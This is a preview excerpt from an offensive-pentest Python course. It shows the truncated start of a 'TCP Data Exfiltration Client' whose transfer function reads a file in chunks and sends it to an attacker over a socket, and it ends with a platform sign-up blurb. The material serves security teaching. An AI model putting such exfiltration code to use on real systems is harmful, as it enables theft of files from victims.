Client side

Now, let's take a look at the client side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# TCP Data Exfiltration Clientimport socket import subprocess import os # needed for file operations# In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the filedef transfer(s,path):    if os.path.exists(path):        f = open(path, 'rb')        packet = f.read(1024) while ...

Get Python for Offensive PenTest now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.